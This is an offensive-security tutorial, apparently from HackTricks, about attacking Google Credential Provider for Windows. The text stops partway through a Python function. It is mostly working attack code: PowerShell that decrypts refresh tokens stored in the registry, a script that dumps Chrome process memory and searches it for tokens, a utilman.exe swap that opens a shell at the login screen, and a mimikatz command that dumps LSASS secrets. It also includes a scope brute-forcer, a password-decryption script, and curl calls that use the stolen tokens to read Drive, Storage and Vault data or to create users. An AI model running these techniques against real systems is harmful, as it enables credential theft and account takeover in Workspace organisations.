GCPW - Google Credential Provider for Windows

Support HackTricks

Basic Information

This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using their Workspace credentials. Moreover, this will store tokens to access Google Workspace in some places in the PC.

Note that Winpeas is capable to detect GCPW, get information about the configuration and even tokens.

GCPW - MitM

When a user access a Windows PC synchronized with Google Workspace via GCPW it will need to complete a common login form. This login form will return an OAuth code that the PC will exchange for the refresh token in a request like:

POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
Content-Length: 311
Content-Type: application/x-www-form-urlencoded
[...headers...]

scope=https://www.google.com/accounts/OAuthLogin
&grant_type=authorization_code
&client_id=77185425430.apps.googleusercontent.com
&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT
&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome

New lines have been added to make it more readable.

It was possible to perform a MitM by installing Proxifier in the PC, overwriting the utilman.exe binary with a cmd.exe and executing the accessibility features in the Windows login page, which will execute a CMD from which you can launch and configure the Proxifier. Don't forget to block QUICK UDP traffic in Proxifier so it downgrades to TCP communication and you can see it.

Also configure in "Serviced and other users" both options and install the Burp CA cert in the Windows.

Moreover adding the keys enable_verbose_logging = 1 and log_file_path = C:\Public\gcpw.log in HKLM:\SOFTWARE\Google\GCPW it's possible to make it store some logs.

GCPW - Fingerprint

It's possible to check if GCPW is installed in a device checking if the following process exist or if the following registry keys exist:

# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
    Write-Output "The process gcpw_xtension.exe is running."
} else {
    Write-Output "The process gcpw_xtension.exe is not running."
}

# Check if HKLM\SOFTWARE\Google\GCPW\Users exists
$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users"
if (Test-Path $gcpwHKLMPath) {
    Write-Output "GCPW is installed: The key $gcpwHKLMPath exists."
} else {
    Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist."
}

# Check if HKCU\SOFTWARE\Google\Accounts exists
$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts"
if (Test-Path $gcpwHKCUPath) {
    Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
} else {
    Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}

In HKCU:\SOFTWARE\Google\Accounts it's possible to access the email of the user and the encrypted refresh token if the user recently logged in.

In HKLM:\SOFTWARE\Google\GCPW\Users it's possible to find the domains that are allowed to login in the key domains_allowed and in subkeys it's possible to find information about the user like email, pic, user name, token lifetimes, token handle...

The token handle is a token that starts with eth. and from which can be extracted some info with a request like:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
  -d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
# Example response
{
  "audience": "77185425430.apps.googleusercontent.com",
  "scope": "https://www.google.com/accounts/OAuthLogin",
  "expires_in": 12880152
}

Also it's possible to find the token handle of an access token with a request like:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
  -d 'access_token=<access token>'
# Example response
{
  "issued_to": "77185425430.apps.googleusercontent.com",
  "audience": "77185425430.apps.googleusercontent.com",
  "scope": "https://www.google.com/accounts/OAuthLogin",
  "expires_in": 1327,
  "access_type": "offline",
  "token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
}

Afaik it's not possible obtain a refresh token or access token from the token handle.

Moreover, the file C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse is a json containing the information of different settings like enableDmEnrollment, enableGcpAutoUpdate, enableMultiUserLogin (if several users from Workspace can login in the computer) and validityPeriodDays (number of days a user doesn't need to reauthenticate with Google directly).

GCPW - Get Tokens

GCPW - Registry Refresh Tokens

Inside the registry HKCU:\SOFTWARE\Google\Accounts it might be possible to find some accounts with the refresh_token encrypted inside. The method ProtectedData.Unprotect can easily decrypt it.

Get HKCU:\SOFTWARE\Google\Accounts data and decrypt refresh_tokens
# Import required namespace for decryption
Add-Type -AssemblyName System.Security

# Base registry path
$baseKey = "HKCU:\SOFTWARE\Google\Accounts"

# Function to search and decrypt refresh_token values
function Get-RegistryKeysAndDecryptTokens {
    param (
        [string]$keyPath
    )

    # Get all values within the current key
    $registryKey = Get-Item -Path $keyPath
    $foundToken = $false

    # Loop through properties to find refresh_token
    foreach ($property in $registryKey.Property) {
        if ($property -eq "refresh_token") {
            $foundToken = $true
            try {
                # Get the raw bytes of the refresh_token from the registry
                $encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property

                # Decrypt the bytes using ProtectedData.Unprotect
                $decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
                $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)
                
                Write-Output "Path: $keyPath"
                Write-Output "Decrypted refresh_token: $decryptedToken"
                Write-Output "-----------------------------"
            }
            catch {
                Write-Output "Path: $keyPath"
                Write-Output "Failed to decrypt refresh_token: $($_.Exception.Message)"
                Write-Output "-----------------------------"
            }
        }
    }

    # Recursively process all subkeys
    Get-ChildItem -Path $keyPath | ForEach-Object {
        Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath
    }
}

# Start the search from the base key
Get-RegistryKeysAndDecryptTokens -keyPath $baseKey

Example out:

Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI

As explained in this video, if you don't find the token in the registry it's possible to modify the value (or delete) from HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th and the next time the user access the computer he will need to login again and the token will be stored in the previous registry.

GCPW - Disk Refresh Tokens

The file %LocalAppData%\Google\Chrome\User Data\Local State stores the key to decrypt the refresh_tokens located inside the Google Chrome profiles of the user like:

  • %LocalAppData%\Google\Chrome\User Data\Default\Web Data

  • %LocalAppData%\Google\Chrome\Profile*\Default\Web Data

It's possible to find some C# code accessing these tokens in their decrypted manner in Winpeas.

Moreover, the encrypting can be found in this code: https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216

It can be observed that AESGCM is used, the encrypted token starts with a version (v10 at this time), then it has 12B of nonce, and then it has the cypher-text with a final mac of 16B.

GCPW - Dumping tokens from processes memory

The following script can be used to dump every Chrome process using procdump, extract the strings and then search for strings related to access and refresh tokens. If Chrome is connected to some Google site, some process will be storing refresh and/or access tokens in memory!

Dump Chrome processes and search tokens
# Define paths for Procdump and Strings utilities   
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"   
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"   
$dumpFolder = "C:\Users\Public\dumps"   
 
# Regular expressions for tokens 
$tokenRegexes = @( 
    "ya29\.[a-zA-Z0-9_\.\-]{50,}", 
    "1//[a-zA-Z0-9_\.\-]{50,}" 
)
 
# Create a directory for the dumps if it doesn't exist   
if (!(Test-Path $dumpFolder)) {   
    New-Item -Path $dumpFolder -ItemType Directory   
}   
 
# Get all Chrome process IDs   
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id   
 
# Dump each Chrome process   
foreach ($processId in $chromeProcesses) {   
    Write-Output "Dumping process with PID: $processId"   
    & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"   
}   
 
# Extract strings and search for tokens in each dump   
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {   
    $dumpFile = $_.FullName   
    $baseName = $_.BaseName 
    $asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"   
    $unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"   
 
    Write-Output "Extracting strings from $dumpFile"   
    & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile   
    & $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile   
 
    $outputFiles = @($asciiStringsFile, $unicodeStringsFile) 
 
    foreach ($file in $outputFiles) { 
        foreach ($regex in $tokenRegexes) { 
 
            $matches = Select-String -Path $file -Pattern $regex -AllMatches 
 
            $uniqueMatches = @{} 
 
            foreach ($matchInfo in $matches) { 
                foreach ($match in $matchInfo.Matches) { 
                    $matchValue = $match.Value 
                    if (-not $uniqueMatches.ContainsKey($matchValue)) { 
                        $uniqueMatches[$matchValue] = @{ 
                            LineNumber = $matchInfo.LineNumber 
                            LineText   = $matchInfo.Line.Trim() 
                            FilePath   = $matchInfo.Path 
                        } 
                    } 
                } 
            } 
 
            foreach ($matchValue in $uniqueMatches.Keys) { 
                $info = $uniqueMatches[$matchValue] 
                Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" 
            } 
        } 
 
        Write-Output "" 
    } 
} 
 
Remove-Item -Path $dumpFolder -Recurse -Force

I tried the same with gcpw_extension.exe but it didn't find any token.

For some reason, some extracted access tokens won't be valid (although some will be). I tried the following script to remove chars 1 by 1 to try to get the valid token from the dump. It never helped me to find a valid one, but it might I guess:

Check access token by removing chars 1 by 1
#!/bin/bash

# Define the initial access token
access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277"

# Define the URL for the request
url="https://www.googleapis.com/oauth2/v1/tokeninfo"

# Loop until the token is 20 characters or the response doesn't contain "error_description"
while [ ${#access_token} -gt 20 ]; do
    # Make the request and capture the response
    response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url)

    # Check if the response contains "error_description"
    if [[ ! "$response" =~ "error_description" ]]; then
        echo "Success: Token is valid"
        echo "Final token: $access_token"
        echo "Response: $response"
        exit 0
    fi

    # Remove the last character from the token
    access_token=${access_token:0:-1}

    echo "Token length: ${#access_token}"
done

echo "Error: Token invalid or too short"

GCPW - Generating access tokens from refresh tokens

Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:

curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
     --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
     --data "grant_type=refresh_token" \
     --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
     https://www.googleapis.com/oauth2/v4/token

GCPW - Scopes

Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the scopes supported by the application where you are generating the access token.

Alsoe, the refresh token is not valid in every application.

By default GCPW won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the refresh_token to generate an access_token:

Bash script to brute-force scopes
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do 
    echo -ne "Testing $scope           \r"
    if ! curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
     --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
     --data "grant_type=refresh_token" \
     --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
     --data "scope=$scope" \
     https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
        echo ""
        echo $scope
        echo $scope >> /tmp/valid_scopes.txt
    fi
done

echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt

And this is the output I got at the time of the writing:

Brute-forced scopes
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/calendar
https://www.googleapis.com/auth/calendar.events
https://www.googleapis.com/auth/calendar.events.readonly
https://www.googleapis.com/auth/calendar.readonly
https://www.googleapis.com/auth/classroom.courses.readonly
https://www.googleapis.com/auth/classroom.coursework.me.readonly
https://www.googleapis.com/auth/classroom.coursework.students.readonly
https://www.googleapis.com/auth/classroom.profile.emails
https://www.googleapis.com/auth/classroom.profile.photos
https://www.googleapis.com/auth/classroom.rosters.readonly
https://www.googleapis.com/auth/classroom.student-submissions.me.readonly
https://www.googleapis.com/auth/classroom.student-submissions.students.readonly
https://www.googleapis.com/auth/cloud-translation
https://www.googleapis.com/auth/cloud_search.query
https://www.googleapis.com/auth/devstorage.read_write
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/drive.apps.readonly
https://www.googleapis.com/auth/drive.file
https://www.googleapis.com/auth/drive.readonly
https://www.googleapis.com/auth/ediscovery
https://www.googleapis.com/auth/firebase.messaging
https://www.googleapis.com/auth/spreadsheets
https://www.googleapis.com/auth/tasks
https://www.googleapis.com/auth/tasks.readonly
https://www.googleapis.com/auth/userinfo.email
https://www.googleapis.com/auth/userinfo.profile

Moreover, checking the Chromium source code it's possible to find this file, which contains other scopes that can be assumed that doesn't appear in the previously brute-forced list. Therefore, these extra scopes can be assumed:

Extra scopes
https://www.google.com/accounts/OAuthLogin
https://www.googleapis.com/auth/account.capabilities
https://www.googleapis.com/auth/accounts.programmaticchallenge
https://www.googleapis.com/auth/accounts.reauth
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/aida
https://www.googleapis.com/auth/aidahttps://www.googleapis.com/auth/kid.management.privileged
https://www.googleapis.com/auth/android_checkin
https://www.googleapis.com/auth/any-api
https://www.googleapis.com/auth/assistant-sdk-prototype
https://www.googleapis.com/auth/auditrecording-pa
https://www.googleapis.com/auth/bce.secureconnect
https://www.googleapis.com/auth/calendar
https://www.googleapis.com/auth/calendar.events
https://www.googleapis.com/auth/calendar.events.readonly
https://www.googleapis.com/auth/calendar.readonly
https://www.googleapis.com/auth/cast.backdrop
https://www.googleapis.com/auth/cclog
https://www.googleapis.com/auth/chrome-model-execution
https://www.googleapis.com/auth/chrome-optimization-guide
https://www.googleapis.com/auth/chrome-safe-browsing
https://www.googleapis.com/auth/chromekanonymity
https://www.googleapis.com/auth/chromeosdevicemanagement
https://www.googleapis.com/auth/chromesync
https://www.googleapis.com/auth/chromewebstore.readonly
https://www.googleapis.com/auth/classroom.courses.readonly
https://www.googleapis.com/auth/classroom.coursework.me.readonly
https://www.googleapis.com/auth/classroom.coursework.students.readonly
https://www.googleapis.com/auth/classroom.profile.emails
https://www.googleapis.com/auth/classroom.profile.photos
https://www.googleapis.com/auth/classroom.rosters.readonly
https://www.googleapis.com/auth/classroom.student-submissions.me.readonly
https://www.googleapis.com/auth/classroom.student-submissions.students.readonly
https://www.googleapis.com/auth/cloud-translation
https://www.googleapis.com/auth/cloud_search.query
https://www.googleapis.com/auth/cryptauth
https://www.googleapis.com/auth/devstorage.read_write
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/drive.apps.readonly
https://www.googleapis.com/auth/drive.file
https://www.googleapis.com/auth/drive.readonly
https://www.googleapis.com/auth/ediscovery
https://www.googleapis.com/auth/experimentsandconfigs
https://www.googleapis.com/auth/firebase.messaging
https://www.googleapis.com/auth/gcm
https://www.googleapis.com/auth/googlenow
https://www.googleapis.com/auth/googletalk
https://www.googleapis.com/auth/identity.passwords.leak.check
https://www.googleapis.com/auth/ip-protection
https://www.googleapis.com/auth/kid.family.readonly
https://www.googleapis.com/auth/kid.management.privileged
https://www.googleapis.com/auth/kid.permission
https://www.googleapis.com/auth/kids.parentapproval
https://www.googleapis.com/auth/kids.supervision.setup.child
https://www.googleapis.com/auth/lens
https://www.googleapis.com/auth/music
https://www.googleapis.com/auth/nearbydevices-pa
https://www.googleapis.com/auth/nearbypresence-pa
https://www.googleapis.com/auth/nearbysharing-pa
https://www.googleapis.com/auth/peopleapi.readonly
https://www.googleapis.com/auth/peopleapi.readwrite
https://www.googleapis.com/auth/photos
https://www.googleapis.com/auth/photos.firstparty.readonly
https://www.googleapis.com/auth/photos.image.readonly
https://www.googleapis.com/auth/profile.language.read
https://www.googleapis.com/auth/secureidentity.action
https://www.googleapis.com/auth/spreadsheets
https://www.googleapis.com/auth/supportcontent
https://www.googleapis.com/auth/tachyon
https://www.googleapis.com/auth/tasks
https://www.googleapis.com/auth/tasks.readonly
https://www.googleapis.com/auth/userinfo.email
https://www.googleapis.com/auth/userinfo.profile
https://www.googleapis.com/auth/wallet.chrome

Note that the most interesting one is possibly:

// OAuth2 scope for access to all Google APIs.
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";

However, I tried to use this scope to access gmail or list groups and it didn't work, so I don't know how useful it still is.

Get an access token with all those scopes:

Bash script to generate access token from refresh_token with all the scopes
export scope=$(echo "https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/calendar
https://www.googleapis.com/auth/calendar.events
https://www.googleapis.com/auth/calendar.events.readonly
https://www.googleapis.com/auth/calendar.readonly
https://www.googleapis.com/auth/classroom.courses.readonly
https://www.googleapis.com/auth/classroom.coursework.me.readonly
https://www.googleapis.com/auth/classroom.coursework.students.readonly
https://www.googleapis.com/auth/classroom.profile.emails
https://www.googleapis.com/auth/classroom.profile.photos
https://www.googleapis.com/auth/classroom.rosters.readonly
https://www.googleapis.com/auth/classroom.student-submissions.me.readonly
https://www.googleapis.com/auth/classroom.student-submissions.students.readonly
https://www.googleapis.com/auth/cloud-translation
https://www.googleapis.com/auth/cloud_search.query
https://www.googleapis.com/auth/devstorage.read_write
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/drive.apps.readonly
https://www.googleapis.com/auth/drive.file
https://www.googleapis.com/auth/drive.readonly
https://www.googleapis.com/auth/ediscovery
https://www.googleapis.com/auth/firebase.messaging
https://www.googleapis.com/auth/spreadsheets
https://www.googleapis.com/auth/tasks
https://www.googleapis.com/auth/tasks.readonly
https://www.googleapis.com/auth/userinfo.email
https://www.googleapis.com/auth/userinfo.profile
https://www.google.com/accounts/OAuthLogin
https://www.googleapis.com/auth/account.capabilities
https://www.googleapis.com/auth/accounts.programmaticchallenge
https://www.googleapis.com/auth/accounts.reauth
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/aida
https://www.googleapis.com/auth/kid.management.privileged
https://www.googleapis.com/auth/android_checkin
https://www.googleapis.com/auth/any-api
https://www.googleapis.com/auth/assistant-sdk-prototype
https://www.googleapis.com/auth/auditrecording-pa
https://www.googleapis.com/auth/bce.secureconnect
https://www.googleapis.com/auth/calendar
https://www.googleapis.com/auth/calendar.events
https://www.googleapis.com/auth/calendar.events.readonly
https://www.googleapis.com/auth/calendar.readonly
https://www.googleapis.com/auth/cast.backdrop
https://www.googleapis.com/auth/cclog
https://www.googleapis.com/auth/chrome-model-execution
https://www.googleapis.com/auth/chrome-optimization-guide
https://www.googleapis.com/auth/chrome-safe-browsing
https://www.googleapis.com/auth/chromekanonymity
https://www.googleapis.com/auth/chromeosdevicemanagement
https://www.googleapis.com/auth/chromesync
https://www.googleapis.com/auth/chromewebstore.readonly
https://www.googleapis.com/auth/classroom.courses.readonly
https://www.googleapis.com/auth/classroom.coursework.me.readonly
https://www.googleapis.com/auth/classroom.coursework.students.readonly
https://www.googleapis.com/auth/classroom.profile.emails
https://www.googleapis.com/auth/classroom.profile.photos
https://www.googleapis.com/auth/classroom.rosters.readonly
https://www.googleapis.com/auth/classroom.student-submissions.me.readonly
https://www.googleapis.com/auth/classroom.student-submissions.students.readonly
https://www.googleapis.com/auth/cloud-translation
https://www.googleapis.com/auth/cloud_search.query
https://www.googleapis.com/auth/cryptauth
https://www.googleapis.com/auth/devstorage.read_write
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/drive.apps.readonly
https://www.googleapis.com/auth/drive.file
https://www.googleapis.com/auth/drive.readonly
https://www.googleapis.com/auth/ediscovery
https://www.googleapis.com/auth/experimentsandconfigs
https://www.googleapis.com/auth/firebase.messaging
https://www.googleapis.com/auth/gcm
https://www.googleapis.com/auth/googlenow
https://www.googleapis.com/auth/googletalk
https://www.googleapis.com/auth/identity.passwords.leak.check
https://www.googleapis.com/auth/ip-protection
https://www.googleapis.com/auth/kid.family.readonly
https://www.googleapis.com/auth/kid.management.privileged
https://www.googleapis.com/auth/kid.permission
https://www.googleapis.com/auth/kids.parentapproval
https://www.googleapis.com/auth/kids.supervision.setup.child
https://www.googleapis.com/auth/lens
https://www.googleapis.com/auth/music
https://www.googleapis.com/auth/nearbydevices-pa
https://www.googleapis.com/auth/nearbypresence-pa
https://www.googleapis.com/auth/nearbysharing-pa
https://www.googleapis.com/auth/peopleapi.readonly
https://www.googleapis.com/auth/peopleapi.readwrite
https://www.googleapis.com/auth/photos
https://www.googleapis.com/auth/photos.firstparty.readonly
https://www.googleapis.com/auth/photos.image.readonly
https://www.googleapis.com/auth/profile.language.read
https://www.googleapis.com/auth/secureidentity.action
https://www.googleapis.com/auth/spreadsheets
https://www.googleapis.com/auth/supportcontent
https://www.googleapis.com/auth/tachyon
https://www.googleapis.com/auth/tasks
https://www.googleapis.com/auth/tasks.readonly
https://www.googleapis.com/auth/userinfo.email
https://www.googleapis.com/auth/userinfo.profile
https://www.googleapis.com/auth/wallet.chrome" | tr '\n' ' ')

curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
     --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
     --data "grant_type=refresh_token" \
     --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
     --data "scope=$scope" \
     https://www.googleapis.com/oauth2/v4/token

Some examples using some of those scopes:

https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://www.googleapis.com/oauth2/v2/userinfo"
  
{
  "id": "100203736939176354570",
  "email": "hacktricks@example.com",
  "verified_email": true,
  "name": "John Smith",
  "given_name": "John",
  "family_name": "Smith",
  "picture": "https://lh3.googleusercontent.com/a/ACg8ocKLvue[REDACTED]wcnzhyKH_p96Gww=s96-c",
  "locale": "en",
  "hd": "example.com"
}
https://www.googleapis.com/auth/admin.directory.user
# List users
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://www.googleapis.com/admin/directory/v1/users?customer=<workspace_id>&maxResults=100&orderBy=email"

# Create user
curl -X POST \
  -H "Authorization: Bearer $access_token" \
  -H "Content-Type: application/json" \
  -d '{
        "primaryEmail": "newuser@hdomain.com",
        "name": {
          "givenName": "New",
          "familyName": "User"
        },
        "password": "UserPassword123",
        "changePasswordAtNextLogin": true
      }' \
  "https://www.googleapis.com/admin/directory/v1/users"
https://www.googleapis.com/auth/drive
# List files
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://www.googleapis.com/drive/v3/files?pageSize=10&fields=files(id,name,modifiedTime)&orderBy=name"
{
  "files": [
    {
      "id": "1Z8m5ALSiHtewoQg1LB8uS9gAIeNOPBrq",
      "name": "Veeam new vendor form 1 2024.docx",
      "modifiedTime": "2024-08-30T09:25:35.219Z"
    }
  ]
}

# Download file
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://www.googleapis.com/drive/v3/files/<file-id>?alt=media" \
  -o "DownloadedFileName.ext"

# Upload file
curl -X POST \
  -H "Authorization: Bearer $access_token" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @path/to/file.ext \
  "https://www.googleapis.com/upload/drive/v3/files?uploadType=media"
https://www.googleapis.com/auth/devstorage.read_write
# List buckets from a project
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://www.googleapis.com/storage/v1/b?project=<project-id>"

# List objects in a bucket
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://www.googleapis.com/storage/v1/b/<bucket-name>/o?maxResults=10&fields=items(id,name,size,updated)&orderBy=name"

# Upload file to bucket
curl -X POST \
  -H "Authorization: Bearer $access_token" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @path/to/yourfile.ext \
  "https://www.googleapis.com/upload/storage/v1/b/<BUCKET_NAME>/o?uploadType=media&name=<OBJECT_NAME>"

# Download file from bucket
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://www.googleapis.com/storage/v1/b/BUCKET_NAME/o/OBJECT_NAME?alt=media" \
  -o "DownloadedFileName.ext"
https://www.googleapis.com/auth/spreadsheets
# List spreadsheets
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://www.googleapis.com/drive/v3/files?q=mimeType='application/vnd.google-apps.spreadsheet'&fields=files(id,name,modifiedTime)&pageSize=100"

# Download as pdf
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://www.googleapis.com/drive/v3/files/106VJxeyIsVTkixutwJM1IiJZ0ZQRMiA5mhfe8C5CxMc/export?mimeType=application/pdf" \
  -o "Spreadsheet.pdf"

# Create spreadsheet
curl -X POST \
  -H "Authorization: Bearer $access_token" \
  -H "Content-Type: application/json" \
  -d '{
        "properties": {
          "title": "New Spreadsheet"
        }
      }' \
  "https://sheets.googleapis.com/v4/spreadsheets"

# Read data from a spreadsheet
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://sheets.googleapis.com/v4/spreadsheets/<SPREADSHEET_ID>/values/Sheet1!A1:C10"

# Update data in spreadsheet
curl -X PUT \
  -H "Authorization: Bearer $access_token" \
  -H "Content-Type: application/json" \
  -d '{
        "range": "Sheet1!A2:C2",
        "majorDimension": "ROWS",
        "values": [
          ["Alice Johnson", "28", "alice.johnson@example.com"]
        ]
      }' \
  "https://sheets.googleapis.com/v4/spreadsheets/<SPREADSHEET_ID>/values/Sheet1!A2:C2?valueInputOption=USER_ENTERED"

# Append data
curl -X POST \
  -H "Authorization: Bearer $access_token" \
  -H "Content-Type: application/json" \
  -d '{
        "values": [
          ["Bob Williams", "35", "bob.williams@example.com"]
        ]
      }' \
  "https://sheets.googleapis.com/v4/spreadsheets/SPREADSHEET_ID/values/Sheet1!A:C:append?valueInputOption=USER_ENTERED"
https://www.googleapis.com/auth/ediscovery (Google Vault)

Google Workspace Vault is an add-on for Google Workspace that provides tools for data retention, search, and export for your organization's data stored in Google Workspace services like Gmail, Drive, Chat, and more.

  • A Matter in Google Workspace Vault is a container that organizes and groups together all the information related to a specific case, investigation, or legal matter. It serves as the central hub for managing Holds, Searches, and Exports pertaining to that particular issue.

  • A Hold in Google Workspace Vault is a preservation action applied to specific users or groups to prevent the deletion or alteration of their data within Google Workspace services. Holds ensure that relevant information remains intact and unmodified for the duration of a legal case or investigation.

# List matters
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://vault.googleapis.com/v1/matters?pageSize=10"

# Create matter
curl -X POST \
  -H "Authorization: Bearer $access_token" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "Legal Case 2024",
        "description": "Matter for the upcoming legal case involving XYZ Corp.",
        "state": "OPEN"
      }' \
  "https://vault.googleapis.com/v1/matters"

# Get specific matter
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://vault.googleapis.com/v1/matters/<MATTER_ID>"

# List holds in a matter
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://vault.googleapis.com/v1/matters/<MATTER_ID>/holds?pageSize=10"

More API endpoints in the docs.

GCPW - Recovering clear text password

To abuse GCPW to recover the clear text of the password it's possible to dump the encrypted password from LSASS using mimikatz:

mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit

Then search for the secret like Chrome-GCPW-<sid> like in the image:

Then, with an access token with the scope https://www.google.com/accounts/OAuthLogin it's possible to request the private key to decrypt the password:

Script to obtain the password in clear-text given the access token, encrypted password and resource id
import requests
from base64 import b64decode
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA

def get_decryption_key(access_token, resource_id):
    try:
        # Request to get the private key
        response = requests.get(
            f"https://devicepasswordescrowforwindows-pa.googleapis.com/v1/getprivatekey/{resource_id}",
            headers={
                "Authorization": f"Bearer {access_token}"
            }
        )

        # Check if the response is successful
        if response.status_code == 200:
            private_key = response.json()["base64PrivateKey"]
            # Properly format the RSA private key
            private_key = f"-----BEGIN RSA PRIVATE KEY-----\n{private_key.strip()}\n-----END RSA PRIVATE KEY-----"
            return private_key
        else:
            raise ValueError(f"Failed to retrieve private key: {response.text}")

    except requests.RequestException as e:
